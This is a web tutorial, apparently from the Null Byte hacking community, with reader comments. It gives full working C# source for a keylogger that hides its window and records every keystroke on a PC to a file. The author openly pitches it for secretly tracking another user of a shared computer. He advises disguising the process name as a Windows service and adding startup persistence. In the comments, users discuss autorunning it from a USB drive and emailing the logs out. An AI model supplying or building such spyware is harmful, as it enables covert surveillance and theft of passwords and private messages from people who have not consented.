How to Create a Simple, Hidden Console Keylogger in C# Sharp
Written By
Mr Falkreath
Published 4 months ago
Last edited 4 months ago

Today I will show you how to create  a simple keylogger in Visual C# Sharp, which will start up hidden from view, and record anything the user types on the keybord, then save it into a text file. Great if you share a PC and want to track what someone else is writing.

You Will Need

  • Visual C# 2010 Express

Step 1 Create the Project

This is semi-important, usually you don't put much thought behind this, but I recommend naming this project something like "Windows Local host Process" or whatever, so that IF the user you are tracking suddenly decides to look up windows processes, your app will not be so easy to distinguish from something Windows would already have running in the background.

Why? Well, renaming the .exe file is not enough, the name you give your project will appear in the task manager, so assuming you are not a very technical user, if you see a process called ''cmd.exe | ConsoleApplication5" then alarm bells should not be ringing. However, if you see "sysWin86 | Windows Local Host Process" you won't know right away that it is not a legitimate process.

So create a Console Application project, name it appropriately and in the "Using" clause, include the following, if it's not already there:

using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

Step 2 Declaration Clause and Referencing

Just below "Class YourProject {", add the following:

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

In the "Main" function ("public static Main") add:

        var handle = GetConsoleWindow();

        // Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

Finally, go into Project >> Add References.

In the .NET tab, choose System.Windows.Forms and add it to your project.

Step 3 Functions for Key Capturing

Below the Main clause, add these functions:

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

Step 4 DLL Imports

After adding the key capture functions, add these:

//These Dll's will handle the hooks. Yaaar mateys!

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

// The two dll imports below will handle the window hiding.

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

Step 5 Compile and Try it Out!

This is the fun step. Once you have added all the code, just run the compiler and try out the .exe!  

As the window is hidden, but still records every keystroke, you will now log all the keystrokes ever pressed on that PC.

Further Improvements

  • Log file management could be improved by inserting line breaks at certain intervals. Something I did not bother with for this particular exercise.
  • It is possible to create a global mouse hook which will tell you what applications your mouse interacted with, where the cursor was and so forth. Google is your friend on this one.
  • Run @ Startup script.

"Sauce"-Code

Front page image by Robbert van der Steeg 

Comments

+1
Alex Long (98) 1/14/12 11:06 AM
Hooray for keyloggers, thanks so much! I've always hated how simple C#, VB, etc always made making a keylogger, haha. It's about 8 million times harder than this to do it on Python, which angers me xD. Well, in Linux at least, because Windows libs and API are easy..Whereas on Linux, you pretty much have to OWN xlib. How unfair.
+1
Mr Falkreath (34) 1/14/12 11:13 AM
Yes but on linux it always works. Whereas on windows, it works only if you have 100 mil dependencies installed and all .Net features up-to-date.

This is what I hate on windows, it never actually works.. not truly. 1 pc =/= another. Both running windows 7 for example.
+1
Alex Long (98) 1/14/12 11:38 AM
Yeah, that's always true :D. Good point. /me wishes Python had getKeystrokes() xD.
+2
ChristopherVoute (56) 1/14/12 11:41 AM
^^ http://sourceforge.net/apps/mediawiki/pykeylogger/index.php?title=Main_Page
+2
Alex Long (98) 1/14/12 12:03 PM
I know who's source code I'm destroying this weekend xD. /me slides Chris a beer.
+2
Mr Falkreath (34) 1/14/12 11:53 AM
Someone give this guy a beer.
+1
ChristopherVoute (56) 1/14/12 1:11 PM
its actually quite a nice keylogger, i implemented it into a U3 flash drive so it would autorun. it also emails me the screen shots, click images, and log files in a zip.
+1
Vered Smadar 1/23/12 11:01 AM
how can i make it to send me emails?
+1
Mr Falkreath (34) 1/23/12 12:11 PM
Google is your friend in this one. :) Just have a look at code samples in C# for email sending and apply it to the LOG file in the main app.
+1
Mr Falkreath (34) 1/14/12 1:38 PM
Hehe, very nice. You can also use regexp to clean up the log a bit without user intervention, so instead of - "theSPACEquickSPACEbrownSPACEfox" you will just have "the quick brown fox"
+2
heinikiss 1/14/12 2:07 PM
well... i'm never going to click on any links from any of your articles ;P
love the hacking tuts lately guys, learning loads.
+2
Mr Falkreath (34) 1/14/12 2:15 PM
The articles are fine. Just avoid the big red "Click ME" button on our profile pages.
Glad you like the tutorials, the guys here try really hard so I am sure they appreciate every bit of feedback. :)
+1
Alex Long (98) 1/15/12 6:03 PM
Awesome to hear! @Mr Falkreath: You write great stuff! Don't be so humble :).
+1
Matthew Herman (22) 1/15/12 6:48 PM
See now this makes me think how to make this in Java.
+1
heinikiss 1/16/12 2:38 PM
haha, shouldnt be to hard with all the getkeystate commands.
it would be awesome if there were someone doing java tuts on nullbyte. (my call to you alex ;D)
+1
Alex Long (98) 1/16/12 2:45 PM
I've only dabbled in Java...however, I can ask a friend if they would come in :). Someone else could take it up too, if they would like.
+1
Matthew Herman (22) 1/16/12 2:55 PM
I might be able to do some java based tutorials. But @heinikiss all the getkey statements work way easy than doing the hard way, I might be possible in less than 20 lines of code
+1
heinikiss 1/16/12 6:52 PM
well, i've only just started in java, so i dont know all the ins and outs.
this right here is why i love wonderhowto, filled with genius' who love to give input and help out :D
+1
Abulahzab Mothanna 2/12/12 3:02 AM
please offer function in c# for the active process in the computer
+1
Eugen Jelicic 5/15/12 12:41 PM
Hello, i did everything as you saied but i"m getting these 3 errors:

http://imageshack.us/photo/my-images/837/desktop2012051522401610.jpg/
Add your comment:
0 / 2000

462 Members | 68 Contributing Members (15%)

Join Our World

  • Allen Freeman
  • Matthew Herman
  • Bird andBear
  • JT Newsome
  • occupytheweb otw
  • Justin Meyers
  • chi square
  • Bryan Crow
  • ChristopherVoute
  • Alex Salas
View All Members

Null Byte

Null Byte is a world for anyone interested in science, networking, social engineering, security, and getting root. Any like-minded tech enthusiast looking to protect themselves from malicious script kiddies and shorcuts for everyday life will find their home here.

We're going to take it from an IP address to programing, all the way to reverse engineering, getting root, and finding zero-day vulnerabilities.

If you don't understand any of this, don't worry, this is the place to begin!

Join us and discuss topics in a secure and anonymous format in our channel #nullbyte on IRC2P

Google+
Twitter

FREE sup_g | FREE kayla | FREE palladium | FREE topiary | FREE pwnsauce

Allen Freeman Allen Freeman - World Admin World created 7 months ago

loading...